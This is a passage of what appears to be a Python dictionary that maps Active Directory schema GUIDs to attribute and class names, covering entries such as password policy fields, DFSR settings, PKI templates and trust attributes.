'3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity', - 'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User', - '548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name', - 'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture', - '817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath', - '34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count', - 'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors', - 'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword', - 'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control', - 'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page', - 'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval', - '53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb', - 'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid', - 'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number', - '0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId', - 'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config', - 'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID', - 'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role', - '5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly', - 'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid', - 'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier', - 'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId', - 'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account', - '281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID', - '80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy', - 'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy', - '16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version', - 'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number', - 'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval', - '1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy', - 'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID', - '0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By', - '4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin', - 'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information', - '0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary', - '888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership', - '281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id', - '0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects', - '2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin', - 'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class', - 'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots', - '55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules', - '99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy', - 'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID', - 'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager', - '43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword', - 'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax', - '6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server', - '86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy', - 'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings', - '281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id', - 'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID', - '85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid', - 'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid', - 'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country', - 'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy', - 'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation', - '281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id', - 'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface', - '1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage', - '1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid', - 'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address', - 'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL', - 'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber', - '281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID', - 'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By', - 'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid', - '3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System', - 'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh', - '5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL', - '25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2', - 'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment', - 'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age', - 'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation', - 'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix', - 'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change', - '0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled', - '67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription', - 'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name', - 'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age', - '0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data', - '3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack', - 'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title', - '693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types', - '7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2', - 'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company', - 'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage', - '6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type', - '3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version', - '16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime', - '24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled', - '7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings', - 'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed', - 'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age', - '7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID', - 'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count', - 'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute', - '9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1', - 'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor', - '4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu', - 'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain', - '8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir', - '963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description', - '26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name', - 'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2', - '1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup', - '6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights', - '11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope', - '2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root', - '19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options', - '26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type', - '82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3', - '21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2', - 'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost', - '11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication', - '51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier', - '963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location', - '8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf', - '9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4', - '64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content', - '508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2', - '5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code', - '11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth', - '7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String', - 'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name', - '28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name', - '2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5', - '4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2', - 'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name', - '11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob', - '35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID', - 'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name', - '80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes', - '60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6', - '4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet', - 'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2', - '2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog', - '11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo', - '9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData', - '28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus', - 'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming', - '4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7', - '2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp', - '11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription', - '0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved', - '5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table', - 'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing', - '3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8', - '04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology', - 'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base', - '2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext', - '11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime', - '94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID', - '5fd424cf-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table-MSDOS', - 'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction', - '0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9', - 'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time', - '11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID', - '8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData', - 'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations', - 'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent', - '670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10', - '4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member', - '36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types', - '4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard', - '11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP', - 'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved', - '0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox', - 'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner', - '9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11', - '7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator', - '11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted', - '3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID', - 'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name', - 'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset', - '3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12', - 'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection', - '7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties', - '963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object', - '11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword', - 'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy', - '1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects', - 'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type', - '28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13', - '963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List', - '11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage', - 'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag', - 'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner', - 'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat', - 'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14', - '7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy', - '81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type', - '167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair', - '11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation', - '38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy', - '7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags', - '0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid', - 'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15', - '1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id', - '11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants', - 'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens', - '7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name', - 'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name', - '9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16', - 'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs', - '5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property', - '1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location', - '11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName', - 'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag', - '7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type', - 'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd', - '3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17', - '963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA', - '11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator', - 'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers', - '5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA', - 'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier', - '88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18', - '1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess', - '72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List', - 'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value', - '11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner', - 'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size', - '963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain', - '8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember', - '0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19', - 'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd', - '11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol', - '8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute', - '2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID', - '50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress', - 'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20', - 'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy', - 'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container', - 'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store', - '11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating', - '5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS', - '28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List', - '9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName', - '6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates', - '720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group', - '11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence', - '7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName', - '19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set', - 'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code', - 'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota', - '37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid', - '51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object', - 'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value', - '11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope', - '04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice', - '07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval', - '032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes', - '0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period', - 'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object', - '11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime', - 'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag', - '07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List', - 'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control', - 'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location', - '26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent', - 'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container', - '26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category', - '11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType', - '0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name', - '963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates', - 'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert', - '617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner', - '281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority', - '11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL', - '9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates', - '963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA', - 'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment', - '0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users', - '05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer', - '85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object', - '807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor', - 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member', - '13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision', - '5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table', - 'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters', - 'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp', - '167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List', - '0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address', - '0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version', - '5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table', - 'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password', - '22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled', - '0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer', - 'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings', - 'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department', - 'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age', - '3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies', - '16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title', - '11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass', - '100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type', - 'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber', - 'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length', - 'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies', - '0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other', - '23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12', - '70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version', - '11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository', - '555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies', - 'bf967950-0de6-11d0-a285-00aa003049e2': 'Description', - 'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age', - 'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature', - 'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other', - '28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name', - '90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs', - 'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile', - 'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count', - '6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp', - 'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary', - '9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder', - 'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID', - '17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication', - '99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules', - '974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options', - 'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator', - 'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom', - 'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys', - '4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other', - '9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other', - 'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version', - '963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes', - '9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp', - 'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials', - '4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary', - 'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate', - '862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive', - '1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase', - '5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule', - '963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags', - 'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker', - 'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute', - '0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary', - 'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations', - 'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive', - '963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification', - 'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name', - 'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry', - '0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other', - 'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed', - 'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name', - '20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase', - 'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy', - '963d2747-48be-11d1-a9c3-0000f80367c1': 